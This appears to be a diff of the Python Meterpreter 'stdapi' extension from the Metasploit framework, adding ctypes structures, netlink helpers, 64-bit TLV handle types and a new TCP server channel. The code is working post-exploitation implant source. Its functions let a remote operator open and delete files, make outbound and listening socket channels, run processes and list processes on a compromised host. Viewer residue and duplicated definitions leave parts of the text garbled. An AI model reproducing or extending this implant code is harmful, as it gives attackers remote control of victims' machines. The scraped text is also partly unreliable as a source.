("dwNumberOfProcessors", ctypes.c_uint32),
|
||||
("dwProcessorType", ctypes.c_uint32),
|
||||
("dwAllocationGranularity", ctypes.c_uint32),
|
||||
("wProcessorLevel", ctypes.c_uint16),
|
||||
("wProcessorRevision", ctypes.c_uint16),]
|
||||
if sys.version_info[0] < 3:
|
||||
is_str = lambda obj: issubclass(obj.__class__, str)
|
||||
is_bytes = lambda obj: issubclass(obj.__class__, str)
|
||||
bytes = lambda *args: str(*args[:1])
|
||||
NULL_BYTE = '\x00'
|
||||
else:
|
||||
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
|
||||
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
|
||||
str = lambda x: __builtins__['str'](x, 'UTF-8')
|
||||
NULL_BYTE = bytes('\x00', 'UTF-8')
|
||||
long = int
|
||||
|
||||
class SID_AND_ATTRIBUTES(ctypes.Structure):
|
||||
_fields_ = [("Sid", ctypes.c_void_p),
|
||||
("Attributes", ctypes.c_uint32),]
|
||||
if has_ctypes:
|
||||
#
|
||||
# Windows Structures
|
||||
#
|
||||
class SOCKADDR(ctypes.Structure):
|
||||
_fields_ = [("sa_family", ctypes.c_ushort),
|
||||
("sa_data", (ctypes.c_uint8 * 14))]
|
||||
|
||||
##
|
||||
# STDAPI
|
||||
##
|
||||
class SOCKET_ADDRESS(ctypes.Structure):
|
||||
_fields_ = [("lpSockaddr", ctypes.POINTER(SOCKADDR)),
|
||||
("iSockaddrLength", ctypes.c_int)]
|
||||
|
||||
class IP_ADAPTER_UNICAST_ADDRESS(ctypes.Structure):
|
||||
_fields_ = [
|
||||
("s", type(
|
||||
'_s_IP_ADAPTER_UNICAST_ADDRESS',
|
||||
(ctypes.Structure,),
|
||||
dict(_fields_ = [
|
||||
("Length", ctypes.c_ulong),
|
||||
("Flags", ctypes.c_uint32)
|
||||
])
|
||||
)),
|
||||
("Next", ctypes.c_void_p),
|
||||
("Address", SOCKET_ADDRESS),
|
||||
("PrefixOrigin", ctypes.c_uint32),
|
||||
("SuffixOrigin", ctypes.c_uint32),
|
||||
("DadState", ctypes.c_uint32),
|
||||
("ValidLifetime", ctypes.c_ulong),
|
||||
("PreferredLifetime", ctypes.c_ulong),
|
||||
("LeaseLifetime", ctypes.c_ulong),
|
||||
("OnLinkPrefixLength", ctypes.c_uint8)]
|
||||
|
||||
class IP_ADAPTER_ADDRESSES(ctypes.Structure):
|
||||
_fields_ = [
|
||||
("u", type(
|
||||
'_u_IP_ADAPTER_ADDRESSES',
|
||||
(ctypes.Union,),
|
||||
dict(_fields_ = [
|
||||
("Alignment", ctypes.c_ulonglong),
|
||||
("s", type(
|
||||
'_s_IP_ADAPTER_ADDRESSES',
|
||||
(ctypes.Structure,),
|
||||
dict(_fields_ = [
|
||||
("Length", ctypes.c_ulong),
|
||||
("IfIndex", ctypes.c_uint32)
|
||||
])
|
||||
))
|
||||
])
|
||||
)),
|
||||
("Next", ctypes.c_void_p),
|
||||
("AdapterName", ctypes.c_char_p),
|
||||
("FirstUnicastAddress", ctypes.c_void_p),
|
||||
("FirstAnycastAddress", ctypes.c_void_p),
|
||||
("FirstMulticastAddress", ctypes.c_void_p),
|
||||
("FirstDnsServerAddress", ctypes.c_void_p),
|
||||
("DnsSuffix", ctypes.c_wchar_p),
|
||||
("Description", ctypes.c_wchar_p),
|
||||
("FriendlyName", ctypes.c_wchar_p),
|
||||
("PhysicalAddress", (ctypes.c_uint8 * 8)),
|
||||
("PhysicalAddressLength", ctypes.c_uint32),
|
||||
("Flags", ctypes.c_uint32),
|
||||
("Mtu", ctypes.c_uint32),
|
||||
("IfType", ctypes.c_uint32),
|
||||
("OperStatus", ctypes.c_uint32),
|
||||
("Ipv6IfIndex", ctypes.c_uint32),
|
||||
("ZoneIndices", (ctypes.c_uint32 * 16)),
|
||||
("FirstPrefix", ctypes.c_void_p),
|
||||
("TransmitLinkSpeed", ctypes.c_uint64),
|
||||
("ReceiveLinkSpeed", ctypes.c_uint64),
|
||||
("FirstWinsServerAddress", ctypes.c_void_p),
|
||||
("FirstGatewayAddress", ctypes.c_void_p),
|
||||
("Ipv4Metric", ctypes.c_ulong),
|
||||
("Ipv6Metric", ctypes.c_ulong),
|
||||
("Luid", ctypes.c_uint64),
|
||||
("Dhcpv4Server", SOCKET_ADDRESS),
|
||||
("CompartmentId", ctypes.c_uint32),
|
||||
("NetworkGuid", (ctypes.c_uint8 * 16)),
|
||||
("ConnectionType", ctypes.c_uint32),
|
||||
("TunnelType", ctypes.c_uint32),
|
||||
("Dhcpv6Server", SOCKET_ADDRESS),
|
||||
("Dhcpv6ClientDuid", (ctypes.c_uint8 * 130)),
|
||||
("Dhcpv6ClientDuidLength", ctypes.c_ulong),
|
||||
("Dhcpv6Iaid", ctypes.c_ulong),
|
||||
("FirstDnsSuffix", ctypes.c_void_p)]
|
||||
|
||||
class MIB_IFROW(ctypes.Structure):
|
||||
_fields_ = [("wszName", (ctypes.c_wchar * 256)),
|
||||
("dwIndex", ctypes.c_uint32),
|
||||
("dwType", ctypes.c_uint32),
|
||||
("dwMtu", ctypes.c_uint32),
|
||||
("dwSpeed", ctypes.c_uint32),
|
||||
("dwPhysAddrLen", ctypes.c_uint32),
|
||||
("bPhysAddr", (ctypes.c_uint8 * 8)),
|
||||
("dwAdminStatus", ctypes.c_uint32),
|
||||
("dwOperStaus", ctypes.c_uint32),
|
||||
("dwLastChange", ctypes.c_uint32),
|
||||
("dwInOctets", ctypes.c_uint32),
|
||||
("dwInUcastPkts", ctypes.c_uint32),
|
||||
("dwInNUcastPkts", ctypes.c_uint32),
|
||||
("dwInDiscards", ctypes.c_uint32),
|
||||
("dwInErrors", ctypes.c_uint32),
|
||||
("dwInUnknownProtos", ctypes.c_uint32),
|
||||
("dwOutOctets", ctypes.c_uint32),
|
||||
("dwOutUcastPkts", ctypes.c_uint32),
|
||||
("dwOutNUcastPkts", ctypes.c_uint32),
|
||||
("dwOutDiscards", ctypes.c_uint32),
|
||||
("dwOutErrors", ctypes.c_uint32),
|
||||
("dwOutQLen", ctypes.c_uint32),
|
||||
("dwDescrLen", ctypes.c_uint32),
|
||||
("bDescr", (ctypes.c_char * 256))]
|
||||
|
||||
class MIB_IPADDRROW(ctypes.Structure):
|
||||
_fields_ = [("dwAddr", ctypes.c_uint32),
|
||||
("dwIndex", ctypes.c_uint32),
|
||||
("dwMask", ctypes.c_uint32),
|
||||
("dwBCastAddr", ctypes.c_uint32),
|
||||
("dwReasmSize", ctypes.c_uint32),
|
||||
("unused1", ctypes.c_uint16),
|
||||
("wType", ctypes.c_uint16)]
|
||||
|
||||
class PROCESSENTRY32(ctypes.Structure):
|
||||
_fields_ = [("dwSize", ctypes.c_uint32),
|
||||
("cntUsage", ctypes.c_uint32),
|
||||
("th32ProcessID", ctypes.c_uint32),
|
||||
("th32DefaultHeapID", ctypes.c_void_p),
|
||||
("th32ModuleID", ctypes.c_uint32),
|
||||
("cntThreads", ctypes.c_uint32),
|
||||
("th32ParentProcessID", ctypes.c_uint32),
|
||||
("thPriClassBase", ctypes.c_int32),
|
||||
("dwFlags", ctypes.c_uint32),
|
||||
("szExeFile", (ctypes.c_char * 260))]
|
||||
|
||||
class SID_AND_ATTRIBUTES(ctypes.Structure):
|
||||
_fields_ = [("Sid", ctypes.c_void_p),
|
||||
("Attributes", ctypes.c_uint32)]
|
||||
|
||||
class SYSTEM_INFO(ctypes.Structure):
|
||||
_fields_ = [("wProcessorArchitecture", ctypes.c_uint16),
|
||||
("wReserved", ctypes.c_uint16),
|
||||
("dwPageSize", ctypes.c_uint32),
|
||||
("lpMinimumApplicationAddress", ctypes.c_void_p),
|
||||
("lpMaximumApplicationAddress", ctypes.c_void_p),
|
||||
("dwActiveProcessorMask", ctypes.c_uint32),
|
||||
("dwNumberOfProcessors", ctypes.c_uint32),
|
||||
("dwProcessorType", ctypes.c_uint32),
|
||||
("dwAllocationGranularity", ctypes.c_uint32),
|
||||
("wProcessorLevel", ctypes.c_uint16),
|
||||
("wProcessorRevision", ctypes.c_uint16)]
|
||||
|
||||
#
|
||||
# Linux Structures
|
||||
#
|
||||
class IFADDRMSG(ctypes.Structure):
|
||||
_fields_ = [("family", ctypes.c_uint8),
|
||||
("prefixlen", ctypes.c_uint8),
|
||||
("flags", ctypes.c_uint8),
|
||||
("scope", ctypes.c_uint8),
|
||||
("index", ctypes.c_int32)]
|
||||
|
||||
class IFINFOMSG(ctypes.Structure):
|
||||
_fields_ = [("family", ctypes.c_uint8),
|
||||
("pad", ctypes.c_int8),
|
||||
("type", ctypes.c_uint16),
|
||||
("index", ctypes.c_int32),
|
||||
("flags", ctypes.c_uint32),
|
||||
("chagen", ctypes.c_uint32)]
|
||||
|
||||
class NLMSGHDR(ctypes.Structure):
|
||||
_fields_ = [("len", ctypes.c_uint32),
|
||||
("type", ctypes.c_uint16),
|
||||
("flags", ctypes.c_uint16),
|
||||
("seq", ctypes.c_uint32),
|
||||
("pid", ctypes.c_uint32)]
|
||||
|
||||
class RTATTR(ctypes.Structure):
|
||||
_fields_ = [("len", ctypes.c_uint16),
|
||||
("type", ctypes.c_uint16)]
|
||||
|
||||
#
|
||||
# TLV Meta Types
|
||||
#
|
||||
TLV_META_TYPE_NONE = ( 0 )
|
||||
TLV_META_TYPE_STRING = (1 << 16)
|
||||
TLV_META_TYPE_UINT = (1 << 17)
|
||||
TLV_META_TYPE_RAW = (1 << 18)
|
||||
TLV_META_TYPE_BOOL = (1 << 19)
|
||||
TLV_META_TYPE_NONE = ( 0 )
|
||||
TLV_META_TYPE_STRING = (1 << 16)
|
||||
TLV_META_TYPE_UINT = (1 << 17)
|
||||
TLV_META_TYPE_RAW = (1 << 18)
|
||||
TLV_META_TYPE_BOOL = (1 << 19)
|
||||
TLV_META_TYPE_QWORD = (1 << 20)
|
||||
TLV_META_TYPE_COMPRESSED = (1 << 29)
|
||||
TLV_META_TYPE_GROUP = (1 << 30)
|
||||
TLV_META_TYPE_COMPLEX = (1 << 31)
|
||||
TLV_META_TYPE_GROUP = (1 << 30)
|
||||
TLV_META_TYPE_COMPLEX = (1 << 31)
|
||||
# not defined in original
|
||||
TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
|
||||
TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
|
||||
|
||||
#
|
||||
# TLV Specific Types
|
||||
|
|
@ -109,10 +285,10 @@ TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
|
|||
##
|
||||
# General
|
||||
##
|
||||
TLV_TYPE_HANDLE = TLV_META_TYPE_UINT | 600
|
||||
TLV_TYPE_HANDLE = TLV_META_TYPE_QWORD | 600
|
||||
TLV_TYPE_INHERIT = TLV_META_TYPE_BOOL | 601
|
||||
TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_UINT | 630
|
||||
TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_UINT | 631
|
||||
TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_QWORD | 630
|
||||
TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_QWORD | 631
|
||||
|
||||
##
|
||||
# Fs
|
||||
|
|
@ -135,16 +311,21 @@ TLV_TYPE_SEARCH_RESULTS = TLV_META_TYPE_GROUP | 1233
|
|||
##
|
||||
TLV_TYPE_HOST_NAME = TLV_META_TYPE_STRING | 1400
|
||||
TLV_TYPE_PORT = TLV_META_TYPE_UINT | 1401
|
||||
TLV_TYPE_INTERFACE_MTU = TLV_META_TYPE_UINT | 1402
|
||||
TLV_TYPE_INTERFACE_FLAGS = TLV_META_TYPE_STRING | 1403
|
||||
TLV_TYPE_INTERFACE_INDEX = TLV_META_TYPE_UINT | 1404
|
||||
|
||||
TLV_TYPE_SUBNET = TLV_META_TYPE_RAW | 1420
|
||||
TLV_TYPE_NETMASK = TLV_META_TYPE_RAW | 1421
|
||||
TLV_TYPE_GATEWAY = TLV_META_TYPE_RAW | 1422
|
||||
TLV_TYPE_NETWORK_ROUTE = TLV_META_TYPE_GROUP | 1423
|
||||
TLV_TYPE_IP_PREFIX = TLV_META_TYPE_UINT | 1424
|
||||
|
||||
TLV_TYPE_IP = TLV_META_TYPE_RAW | 1430
|
||||
TLV_TYPE_MAC_ADDRESS = TLV_META_TYPE_RAW | 1431
|
||||
TLV_TYPE_MAC_NAME = TLV_META_TYPE_STRING | 1432
|
||||
TLV_TYPE_NETWORK_INTERFACE = TLV_META_TYPE_GROUP | 1433
|
||||
TLV_TYPE_IP6_SCOPE = TLV_META_TYPE_RAW | 1434
|
||||
|
||||
TLV_TYPE_SUBNET_STRING = TLV_META_TYPE_STRING | 1440
|
||||
TLV_TYPE_NETMASK_STRING = TLV_META_TYPE_STRING | 1441
|
||||
|
|
@ -166,7 +347,7 @@ TLV_TYPE_SHUTDOWN_HOW = TLV_META_TYPE_UINT | 1530
|
|||
##
|
||||
# Registry
|
||||
##
|
||||
TLV_TYPE_HKEY = TLV_META_TYPE_UINT | 1000
|
||||
TLV_TYPE_HKEY = TLV_META_TYPE_QWORD | 1000
|
||||
TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY
|
||||
TLV_TYPE_BASE_KEY = TLV_META_TYPE_STRING | 1001
|
||||
TLV_TYPE_PERMISSION = TLV_META_TYPE_UINT | 1002
|
||||
|
|
@ -196,12 +377,12 @@ DELETE_KEY_FLAG_RECURSIVE = (1 << 0)
|
|||
##
|
||||
# Process
|
||||
##
|
||||
TLV_TYPE_BASE_ADDRESS = TLV_META_TYPE_UINT | 2000
|
||||
TLV_TYPE_BASE_ADDRESS = TLV_META_TYPE_QWORD | 2000
|
||||
TLV_TYPE_ALLOCATION_TYPE = TLV_META_TYPE_UINT | 2001
|
||||
TLV_TYPE_PROTECTION = TLV_META_TYPE_UINT | 2002
|
||||
TLV_TYPE_PROCESS_PERMS = TLV_META_TYPE_UINT | 2003
|
||||
TLV_TYPE_PROCESS_MEMORY = TLV_META_TYPE_RAW | 2004
|
||||
TLV_TYPE_ALLOC_BASE_ADDRESS = TLV_META_TYPE_UINT | 2005
|
||||
TLV_TYPE_ALLOC_BASE_ADDRESS = TLV_META_TYPE_QWORD | 2005
|
||||
TLV_TYPE_MEMORY_STATE = TLV_META_TYPE_UINT | 2006
|
||||
TLV_TYPE_MEMORY_TYPE = TLV_META_TYPE_UINT | 2007
|
||||
TLV_TYPE_ALLOC_PROTECTION = TLV_META_TYPE_UINT | 2008
|
||||
|
|
@ -217,16 +398,16 @@ TLV_TYPE_PARENT_PID = TLV_META_TYPE_UINT | 2307
|
|||
TLV_TYPE_IMAGE_FILE = TLV_META_TYPE_STRING | 2400
|
||||
TLV_TYPE_IMAGE_FILE_PATH = TLV_META_TYPE_STRING | 2401
|
||||
TLV_TYPE_PROCEDURE_NAME = TLV_META_TYPE_STRING | 2402
|
||||
TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_UINT | 2403
|
||||
TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_UINT | 2404
|
||||
TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_QWORD | 2403
|
||||
TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_QWORD | 2404
|
||||
TLV_TYPE_IMAGE_GROUP = TLV_META_TYPE_GROUP | 2405
|
||||
TLV_TYPE_IMAGE_NAME = TLV_META_TYPE_STRING | 2406
|
||||
|
||||
TLV_TYPE_THREAD_ID = TLV_META_TYPE_UINT | 2500
|
||||
TLV_TYPE_THREAD_PERMS = TLV_META_TYPE_UINT | 2502
|
||||
TLV_TYPE_EXIT_CODE = TLV_META_TYPE_UINT | 2510
|
||||
TLV_TYPE_ENTRY_POINT = TLV_META_TYPE_UINT | 2511
|
||||
TLV_TYPE_ENTRY_PARAMETER = TLV_META_TYPE_UINT | 2512
|
||||
TLV_TYPE_ENTRY_POINT = TLV_META_TYPE_QWORD | 2511
|
||||
TLV_TYPE_ENTRY_PARAMETER = TLV_META_TYPE_QWORD | 2512
|
||||
TLV_TYPE_CREATION_FLAGS = TLV_META_TYPE_UINT | 2513
|
||||
|
||||
TLV_TYPE_REGISTER_NAME = TLV_META_TYPE_STRING | 2540
|
||||
|
|
@ -245,7 +426,7 @@ TLV_TYPE_DESKTOP = TLV_META_TYPE_STRING | 3002
|
|||
# Event Log
|
||||
##
|
||||
TLV_TYPE_EVENT_SOURCENAME = TLV_META_TYPE_STRING | 4000
|
||||
TLV_TYPE_EVENT_HANDLE = TLV_META_TYPE_UINT | 4001
|
||||
TLV_TYPE_EVENT_HANDLE = TLV_META_TYPE_QWORD | 4001
|
||||
TLV_TYPE_EVENT_NUMRECORDS = TLV_META_TYPE_UINT | 4002
|
||||
|
||||
TLV_TYPE_EVENT_READFLAGS = TLV_META_TYPE_UINT | 4003
|
||||
|
|
@ -290,9 +471,39 @@ ERROR_FAILURE = 1
|
|||
# errors.
|
||||
ERROR_CONNECTION_ERROR = 10000
|
||||
|
||||
# Windows Constants
|
||||
GAA_FLAG_SKIP_ANYCAST = 0x0002
|
||||
GAA_FLAG_SKIP_MULTICAST = 0x0004
|
||||
GAA_FLAG_INCLUDE_PREFIX = 0x0010
|
||||
GAA_FLAG_SKIP_DNS_SERVER = 0x0080
|
||||
|
||||
WIN_AF_INET = 2
|
||||
WIN_AF_INET6 = 23
|
||||
|
||||
# Linux Constants
|
||||
RTM_GETLINK = 18
|
||||
RTM_GETADDR = 22
|
||||
RTM_GETROUTE = 26
|
||||
|
||||
IFLA_ADDRESS = 1
|
||||
IFLA_BROADCAST = 2
|
||||
IFLA_IFNAME = 3
|
||||
IFLA_MTU = 4
|
||||
|
||||
IFA_ADDRESS = 1
|
||||
IFA_LABEL = 3
|
||||
|
||||
def calculate_32bit_netmask(bits):
|
||||
if bits == 32:
|
||||
return 0xffffffff
|
||||
return ((0xffffffff << (32-(bits%32))) & 0xffffffff)
|
||||
|
||||
def cstruct_unpack(structure, raw_data):
|
||||
if not isinstance(structure, ctypes.Structure):
|
||||
structure = structure()
|
||||
ctypes.memmove(ctypes.byref(structure), raw_data, ctypes.sizeof(structure))
|
||||
return structure
|
||||
|
||||
def get_stat_buffer(path):
|
||||
si = os.stat(path)
|
||||
rdev = 0
|
||||
|
|
@ -306,24 +517,43 @@ def get_stat_buffer(path):
|
|||
blocks = si.st_blocks
|
||||
st_buf = struct.pack('<IHHH', si.st_dev, min(0xffff, si.st_ino), si.st_mode, si.st_nlink)
|
||||
st_buf += struct.pack('<HHHI', si.st_uid, si.st_gid, 0, rdev)
|
||||
st_buf += struct.pack('<IIII', si.st_size, si.st_atime, si.st_mtime, si.st_ctime)
|
||||
st_buf += struct.pack('<IIII', si.st_size, long(si.st_atime), long(si.st_mtime), long(si.st_ctime))
|
||||
st_buf += struct.pack('<II', blksize, blocks)
|
||||
return st_buf
|
||||
|
||||
def inet_pton(family, address):
|
||||
if hasattr(socket, 'inet_pton'):
|
||||
return socket.inet_pton(family, address)
|
||||
elif has_windll:
|
||||
WSAStringToAddress = ctypes.windll.ws2_32.WSAStringToAddressA
|
||||
lpAddress = (ctypes.c_ubyte * 28)()
|
||||
lpAddressLength = ctypes.c_int(ctypes.sizeof(lpAddress))
|
||||
if WSAStringToAddress(address, family, None, ctypes.byref(lpAddress), ctypes.byref(lpAddressLength)) != 0:
|
||||
raise Exception('WSAStringToAddress failed')
|
||||
if family == socket.AF_INET:
|
||||
return ''.join(map(chr, lpAddress[4:8]))
|
||||
elif family == socket.AF_INET6:
|
||||
return ''.join(map(chr, lpAddress[8:24]))
|
||||
raise Exception('no suitable inet_pton functionality is available')
|
||||
def netlink_request(req_type):
|
||||
import select
|
||||
# See RFC 3549
|
||||
NLM_F_REQUEST = 0x0001
|
||||
NLM_F_ROOT = 0x0100
|
||||
NLMSG_ERROR = 0x0002
|
||||
NLMSG_DONE = 0x0003
|
||||
|
||||
sock = socket.socket(socket.AF_NETLINK, socket.SOCK_RAW, socket.NETLINK_ROUTE)
|
||||
sock.bind((os.getpid(), 0))
|
||||
seq = int(time.time())
|
||||
nlmsg = struct.pack('IHHIIB15x', 32, req_type, (NLM_F_REQUEST | NLM_F_ROOT), seq, 0, socket.AF_UNSPEC)
|
||||
sock.send(nlmsg)
|
||||
responses = []
|
||||
if not len(select.select([sock.fileno()], [], [], 0.5)[0]):
|
||||
return responses
|
||||
raw_response_data = sock.recv(0xfffff)
|
||||
response = cstruct_unpack(NLMSGHDR, raw_response_data[:ctypes.sizeof(NLMSGHDR)])
|
||||
raw_response_data = raw_response_data[ctypes.sizeof(NLMSGHDR):]
|
||||
while response.type != NLMSG_DONE:
|
||||
if response.type == NLMSG_ERROR:
|
||||
break
|
||||
response_data = raw_response_data[:(response.len - 16)]
|
||||
responses.append(response_data)
|
||||
raw_response_data = raw_response_data[len(response_data):]
|
||||
if not len(raw_response_data):
|
||||
if not len(select.select([sock.fileno()], [], [], 0.5)[0]):
|
||||
break
|
||||
raw_response_data = sock.recv(0xfffff)
|
||||
response = cstruct_unpack(NLMSGHDR, raw_response_data[:ctypes.sizeof(NLMSGHDR)])
|
||||
raw_response_data = raw_response_data[ctypes.sizeof(NLMSGHDR):]
|
||||
sock.close()
|
||||
return responses
|
||||
|
||||
def resolve_host(hostname, family):
|
||||
address_info = socket.getaddrinfo(hostname, 0, family, socket.SOCK_DGRAM, socket.IPPROTO_UDP)[0]
|
||||
|
|
@ -338,8 +568,17 @@ def windll_GetNativeSystemInfo():
|
|||
ctypes.windll.kernel32.GetNativeSystemInfo(ctypes.byref(sysinfo))
|
||||
return {0:PROCESS_ARCH_X86, 6:PROCESS_ARCH_IA64, 9:PROCESS_ARCH_X64}.get(sysinfo.wProcessorArchitecture, PROCESS_ARCH_UNKNOWN)
|
||||
|
||||
def windll_GetVersion():
|
||||
if not has_windll:
|
||||
return None
|
||||
dwVersion = ctypes.windll.kernel32.GetVersion()
|
||||
dwMajorVersion = (dwVersion & 0x000000ff)
|
||||
dwMinorVersion = ((dwVersion & 0x0000ff00) >> 8)
|
||||
dwBuild = ((dwVersion & 0xffff0000) >> 16)
|
||||
return type('Version', (object,), dict(dwMajorVersion = dwMajorVersion, dwMinorVersion = dwMinorVersion, dwBuild = dwBuild))
|
||||
|
||||
@meterpreter.register_function
|
||||
def channel_create_stdapi_fs_file(request, response):
|
||||
def channel_open_stdapi_fs_file(request, response):
|
||||
fpath = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
fmode = packet_get_tlv(request, TLV_TYPE_FILE_MODE)
|
||||
if fmode:
|
||||
|
|
@ -348,12 +587,12 @@ def channel_create_stdapi_fs_file(request, response):
|
|||
else:
|
||||
fmode = 'rb'
|
||||
file_h = open(fpath, fmode)
|
||||
channel_id = meterpreter.add_channel(file_h)
|
||||
channel_id = meterpreter.add_channel(MeterpreterFile(file_h))
|
||||
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def channel_create_stdapi_net_tcp_client(request, response):
|
||||
def channel_open_stdapi_net_tcp_client(request, response):
|
||||
host = packet_get_tlv(request, TLV_TYPE_PEER_HOST)['value']
|
||||
port = packet_get_tlv(request, TLV_TYPE_PEER_PORT)['value']
|
||||
local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST)
|
||||
|
|
@ -373,7 +612,19 @@ def channel_create_stdapi_net_tcp_client(request, response):
|
|||
pass
|
||||
if not connected:
|
||||
return ERROR_CONNECTION_ERROR, response
|
||||
channel_id = meterpreter.add_channel(sock)
|
||||
channel_id = meterpreter.add_channel(MeterpreterSocketClient(sock))
|
||||
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def channel_open_stdapi_net_tcp_server(request, response):
|
||||
local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST).get('value', '0.0.0.0')
|
||||
local_port = packet_get_tlv(request, TLV_TYPE_LOCAL_PORT)['value']
|
||||
server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
server_sock.bind((local_host, local_port))
|
||||
server_sock.listen(socket.SOMAXCONN)
|
||||
channel_id = meterpreter.add_channel(MeterpreterSocketServer(server_sock))
|
||||
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
|
|
@ -452,6 +703,7 @@ def stdapi_sys_process_execute(request, response):
|
|||
proc_h.stderr = open(os.devnull, 'rb')
|
||||
else:
|
||||
proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
proc_h.echo_protection = True
|
||||
proc_h.start()
|
||||
else:
|
||||
proc_h = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
|
|
@ -470,15 +722,15 @@ def stdapi_sys_process_getpid(request, response):
|
|||
|
||||
def stdapi_sys_process_get_processes_via_proc(request, response):
|
||||
for pid in os.listdir('/proc'):
|
||||
pgroup = ''
|
||||
pgroup = bytes()
|
||||
if not os.path.isdir(os.path.join('/proc', pid)) or not pid.isdigit():
|
||||
continue
|
||||
cmd = open(os.path.join('/proc', pid, 'cmdline'), 'rb').read(512).replace('\x00', ' ')
|
||||
status_data = open(os.path.join('/proc', pid, 'status'), 'rb').read()
|
||||
cmdline_file = open(os.path.join('/proc', pid, 'cmdline'), 'rb')
|
||||
cmd = str(cmdline_file.read(512).replace(NULL_BYTE, bytes(' ', 'UTF-8')))
|
||||
status_data = str(open(os.path.join('/proc', pid, 'status'), 'rb').read())
|
||||
status_data = map(lambda x: x.split('\t',1), status_data.split('\n'))
|
||||
status_data = filter(lambda x: len(x) == 2, status_data)
|
||||
status = {}
|
||||
for k, v in status_data:
|
||||
for k, v in filter(lambda x: len(x) == 2, status_data):
|
||||
status[k[:-1]] = v.strip()
|
||||
ppid = status.get('PPid')
|
||||
uid = status.get('Uid').split('\t', 1)[0]
|
||||
|
|
@ -502,14 +754,14 @@ def stdapi_sys_process_get_processes_via_proc(request, response):
|
|||
def stdapi_sys_process_get_processes_via_ps(request, response):
|
||||
ps_args = ['ps', 'ax', '-w', '-o', 'pid,ppid,user,command']
|
||||
proc_h = subprocess.Popen(ps_args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
ps_output = proc_h.stdout.read()
|
||||
ps_output = str(proc_h.stdout.read())
|
||||
ps_output = ps_output.split('\n')
|
||||
ps_output.pop(0)
|
||||
for process in ps_output:
|
||||
process = process.split()
|
||||
if len(process) < 4:
|
||||
break
|
||||
pgroup = ''
|
||||
pgroup = bytes()
|
||||
pgroup += tlv_pack(TLV_TYPE_PID, int(process[0]))
|
||||
pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(process[1]))
|
||||
pgroup += tlv_pack(TLV_TYPE_USER_NAME, process[2])
|
||||
|
|
@ -570,7 +822,7 @@ def stdapi_sys_process_get_processes_via_windll(request, response):
|
|||
use = ctypes.c_ulong()
|
||||
use.value = 0
|
||||
ctypes.windll.advapi32.LookupAccountSidA(None, user_tkn.Sid, username, ctypes.byref(u_len), domain, ctypes.byref(d_len), ctypes.byref(use))
|
||||
complete_username = ctypes.string_at(domain) + '\\' + ctypes.string_at(username)
|
||||
complete_username = str(ctypes.string_at(domain)) + '\\' + str(ctypes.string_at(username))
|
||||
k32.CloseHandle(tkn_h)
|
||||
parch = windll_GetNativeSystemInfo()
|
||||
is_wow64 = ctypes.c_ubyte()
|
||||
|
|
@ -579,7 +831,7 @@ def stdapi_sys_process_get_processes_via_windll(request, response):
|
|||
if k32.IsWow64Process(proc_h, ctypes.byref(is_wow64)):
|
||||
if is_wow64.value:
|
||||
parch = PROCESS_ARCH_X86
|
||||
pgroup = ''
|
||||
pgroup = bytes()
|
||||
pgroup += tlv_pack(TLV_TYPE_PID, pe32.th32ProcessID)
|
||||
pgroup += tlv_pack(TLV_TYPE_PARENT_PID, pe32.th32ParentProcessID)
|
||||
pgroup += tlv_pack(TLV_TYPE_USER_NAME, complete_username)
|
||||
|
|
@ -627,16 +879,18 @@ def stdapi_fs_delete_dir(request, response):
|
|||
@meterpreter.register_function
|
||||
def stdapi_fs_delete_file(request, response):
|
||||
file_path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
os.unlink(file_path)
|
||||
if os.path.exists(file_path):
|
||||
os.unlink(file_path)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_fs_file_expand_path(request, response):
|
||||
path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
if has_windll:
|
||||
path_tlv = ctypes.create_string_buffer(bytes(path_tlv, 'UTF-8'))
|
||||
path_out = (ctypes.c_char * 4096)()
|
||||
path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(path_tlv, ctypes.byref(path_out), ctypes.sizeof(path_out))
|
||||
result = ''.join(path_out)[:path_out_len]
|
||||
path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(ctypes.byref(path_tlv), ctypes.byref(path_out), ctypes.sizeof(path_out))
|
||||
result = str(ctypes.string_at(path_out))
|
||||
elif path_tlv == '%COMSPEC%':
|
||||
result = '/bin/sh'
|
||||
elif path_tlv in ['%TEMP%', '%TMP%']:
|
||||
|
|
@ -675,12 +929,12 @@ def stdapi_fs_ls(request, response):
|
|||
|
||||
